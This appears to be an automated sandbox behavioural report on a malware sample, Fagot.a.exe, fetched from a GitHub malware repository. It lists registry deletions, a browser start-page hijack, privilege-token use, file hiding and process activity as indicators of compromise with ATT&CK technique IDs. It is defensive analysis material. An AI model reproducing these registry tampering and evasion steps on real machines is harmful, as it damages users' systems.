Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\0	Fagot.a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoAdapterBusses\PCIBus\0000	Fagot.a.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Fagot.a.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\2	Fagot.a.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\FloatingPointProcessor\0	Fagot.a.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoAdapterBusses\PCIBus	Fagot.a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController	Fagot.a.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController	Fagot.a.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController\0\KeyboardPeripheral	Fagot.a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\2	Fagot.a.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController\0	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController	Fagot.a.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

Fagot.a.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000\Software\Microsoft\Internet Explorer\Main Fagot.a.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000\Software\Microsoft\Internet Explorer\Main	Fagot.a.exe

Modifies Internet Explorer start page 1 TTPs 1 IoCs

stealer

Modify Registry

T1112

Processes:

Fagot.a.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000\Software\Microsoft\Internet Explorer\Main\Start Page = "www.blacksnake.com"	Fagot.a.exe

Modifies registry class 64 IoCs

Processes:

Fagot.a.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{737361EC-467F-11D1-810F-0000F87557AA}	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{305104A7-98B5-11CF-BB82-00AA00BDCE0B}\ProxyStubClsid32	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{131A6950-7F78-11D0-A979-00C04FD705A2}\ProxyStubClsid32	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0CA79737-3185-4B3E-A5E0-F740FD602C69}\ProxyStubClsid32	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{C68E3F27-AAD0-4DC4-B7E6-B3249770763D}	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{8948300F-8BD5-4728-A1D8-83D172295A9D}\ProxyStubClsid32	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{83567EDD-6E1F-4B9B-A413-2B1F50CC36DF}\ProxyStubClsid32	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{11B48E3F-E93F-4960-8998-F755B4D9C64D}\ProxyStubClsid32	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{000C0341-0000-0000-C000-000000000046}\ProxyStubClsid32	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{AA14F9C9-62B5-4637-8AC4-8F25BF29D5A7}\DefaultExtension	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{BDEADEF2-C265-11D0-BCED-00A0C90AB50F}	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{CBB63A8D-BD57-11D2-9238-00A02448799A}	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{26E7F0F1-B49C-48CB-B43E-78DCD577E1D9}	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{000C033D-0000-0000-C000-000000000046}\TypeLib	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{91493441-5A91-11CF-8700-00AA0060263B}\VersionIndependentProgID	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{FFA97AC5-C24F-4992-B8D1-3FA57E429A78}	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{E289DEAB-F709-49A9-B99E-282364074571}	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F8CF7A98-2C45-4c8d-9151-2D716989DDAB}\Insertable	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{CD45F185-1B21-48E2-967B-EAD743A8914E}\ProxyStubClsid32	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{a35b686f-455f-4848-b54c-056df7756c59}	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0C52A2CC-66F1-4B2B-A9E4-9723791F0BBD}\ProxyStubClsid32	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{4A3BCDE5-5F66-4CC8-9FA0-14275CCEE688}	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\DirectShow\MediaObjects\120ced89-3bf4-4173-a132-3cb406cf3231	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4F55F4-8F87-4D47-80BB-5808164BB3F8}\Conversion\Readable	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{576D41A8-E5B0-4D96-8121-EA47D3DDC246}	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{566A7BC7-B295-41B7-A818-12F9E5CA46CA}\ProxyStubClsid32	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{000C0376-0000-0000-C000-000000000046}	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0002E161-0000-0000-C000-000000000046}\ProxyStubClsid32	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{FD1A378C-F117-4F43-917C-DADCA1308606}\ProxyStubClsid32	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{D358F4E1-0465-4965-9DD5-CAE303D2C345}\ProxyStubClsid32	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{C3854CE3-9FDD-4249-8247-EC0574314CCC}\NumMethods	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0DC38853-C1B0-4176-A984-B298361027AF}\ProxyStubClsid32	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{91CE54EE-C67C-4B46-A4FF-99416F27A8BF}\1.0\0	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{A4773A25-CDB6-54BB-931A-ACDCAFA3FD7D}	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{305106F3-98B5-11CF-BB82-00AA00BDCE0B}	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{B3B9F9D0-EBFF-46A4-A847-D663D8B0977E}\ProxyStubClsid32	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{501C1E21-C557-48B8-BA30-A1EAB0BC4A74}\ProxyStubClsid32	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppID\RAServer.EXE	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{FF6D3520-E8D9-4E8C-BB75-CFFA7B03C633}\ProxyStubClsid32	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{C093CB63-5EF5-4585-AF8E-4D5637487B57}\ProxyStubClsid32	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{95178EDB-6E08-489C-AA76-70446F7C42F4}	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{7EA23D88-569E-4EFD-9851-A1528A7745F9}\ProxyStubClsid32	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{70D2DC1E-4DCC-4786-A072-9A3B600C216B}	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{65C78325-1031-491E-8FB6-EF9991AFE363}\ProxyStubClsid32	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{5F0F18BF-6AC5-48DE-8DA1-887BA728A752}	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{E2E1511D-502D-4BD0-8B3A-8A89A05CDCAE}	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{C6DBD569-032A-5FE3-B2BF-96CFDB985FDB}	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{C093CB63-5EF5-4585-AF8E-4D5637487B57}\TypeLib	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0F6B37E0-FCFE-44D9-9112-394CA9B92114}\ProxyStubClsid32	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{000C0391-0000-0000-C000-000000000046}\ProxyStubClsid32	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{000C0337-0000-0000-C000-000000000046}\TypeLib	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{EABCECDB-CC1C-4A6F-B4E3-7F888A5ADFC8}\DefaultIcon	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{51973C26-CB0C-11D0-B5C9-00A0244A0E7A}	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{23EFCF0C-1F8E-5BD9-8B57-F0850121201C}	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0F7F24C1-74D9-4EA6-A3EA-7EDB2D81441D}	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{000C032E-0000-0000-C000-000000000046}\TypeLib	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A2E3074F-6C3D-11D3-B653-00C04F79498E}\Instance\BDA MPEG2 Transport Information Filter	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{91493441-5A91-11CF-8700-00AA0060263B}	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{03C2AEA5-BEFA-4C84-A187-C9245AC784F6}	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{000C036F-0000-0000-C000-000000000046}\ProxyStubClsid32	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{000C033C-0000-0000-C000-000000000046}	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0002E16B-0000-0000-C000-000000000046}	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{F73605E1-E491-4012-90BE-F8AAF1A8D179}	Fagot.a.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{112756A1-3F04-4CCD-BFD6-ACB4BCA614C9}\ProxyStubClsid32	Fagot.a.exe

NTFS ADS 1 IoCs

Processes:

msedge.exe

description ioc process

File opened for modification C:\Users\Admin\Downloads\The-MALWARE-Repo-master.zip:Zone.Identifier msedge.exe
Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

NOTEPAD.EXE

pid process

4484 NOTEPAD.EXE
Runs net.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Downloads\The-MALWARE-Repo-master.zip:Zone.Identifier	msedge.exe

pid	process
4484	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

msedge.exemsedge.exeidentity_helper.exemsedge.exemsedge.exemsedge.exeFagot.a.exe

pid	process
2792	msedge.exe
2792	msedge.exe
1640	msedge.exe
1640	msedge.exe
328	identity_helper.exe
328	identity_helper.exe
2708	msedge.exe
2708	msedge.exe
3428	msedge.exe
3428	msedge.exe
3428	msedge.exe
3428	msedge.exe
5076	msedge.exe
5076	msedge.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe
2332	Fagot.a.exe

Suspicious behavior: LoadsDriver 32 IoCs

Processes:

mssql.exe

pid	process
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe
2372	mssql.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

Processes:

msedge.exe

pid	process
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

mssql.exemssql2.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeLoadDriverPrivilege	2372	mssql.exe
Token: SeDebugPrivilege	3852	mssql2.exe
Token: SeIncreaseQuotaPrivilege	2704	WMIC.exe
Token: SeSecurityPrivilege	2704	WMIC.exe
Token: SeTakeOwnershipPrivilege	2704	WMIC.exe
Token: SeLoadDriverPrivilege	2704	WMIC.exe
Token: SeSystemProfilePrivilege	2704	WMIC.exe
Token: SeSystemtimePrivilege	2704	WMIC.exe
Token: SeProfSingleProcessPrivilege	2704	WMIC.exe
Token: SeIncBasePriorityPrivilege	2704	WMIC.exe
Token: SeCreatePagefilePrivilege	2704	WMIC.exe
Token: SeBackupPrivilege	2704	WMIC.exe
Token: SeRestorePrivilege	2704	WMIC.exe
Token: SeShutdownPrivilege	2704	WMIC.exe
Token: SeDebugPrivilege	2704	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2704	WMIC.exe
Token: SeRemoteShutdownPrivilege	2704	WMIC.exe
Token: SeUndockPrivilege	2704	WMIC.exe
Token: SeManageVolumePrivilege	2704	WMIC.exe
Token: 33	2704	WMIC.exe
Token: 34	2704	WMIC.exe
Token: 35	2704	WMIC.exe
Token: 36	2704	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2704	WMIC.exe
Token: SeSecurityPrivilege	2704	WMIC.exe
Token: SeTakeOwnershipPrivilege	2704	WMIC.exe
Token: SeLoadDriverPrivilege	2704	WMIC.exe
Token: SeSystemProfilePrivilege	2704	WMIC.exe
Token: SeSystemtimePrivilege	2704	WMIC.exe
Token: SeProfSingleProcessPrivilege	2704	WMIC.exe
Token: SeIncBasePriorityPrivilege	2704	WMIC.exe
Token: SeCreatePagefilePrivilege	2704	WMIC.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

msedge.exe

pid	process
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe

Suspicious use of SendNotifyMessage 13 IoCs

Processes:

msedge.exeSearchHost.exe

pid	process
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1980	SearchHost.exe

Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

mssql.exemssql2.exeSearchHost.exe

pid process

2372 mssql.exe
3852 mssql2.exe
1980 SearchHost.exe
2372 mssql.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

msedge.exe

description	pid	process	target process
PID 1640 wrote to memory of 4248	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 4248	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 684	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 2792	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 2792	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 1084	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 1084	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 1084	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 1084	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 1084	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 1084	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 1084	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 1084	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 1084	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 1084	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 1084	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 1084	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 1084	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 1084	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 1084	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 1084	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 1084	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 1084	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 1084	1640	msedge.exe	msedge.exe
PID 1640 wrote to memory of 1084	1640	msedge.exe	msedge.exe

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

1880 attrib.exe

pid	process
1880	attrib.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://github.com/Da2dalus/The-MALWARE-Repo
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1640

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffeb0d73cb8,0x7ffeb0d73cc8,0x7ffeb0d73cd8
2⤵
PID:4248

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1704,18050127252598881616,6292619177406847043,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1936 /prefetch:2
2⤵
PID:684

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1704,18050127252598881616,6292619177406847043,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2356 /prefetch:3
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2792

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1704,18050127252598881616,6292619177406847043,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2688 /prefetch:8
2⤵
PID:1084

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
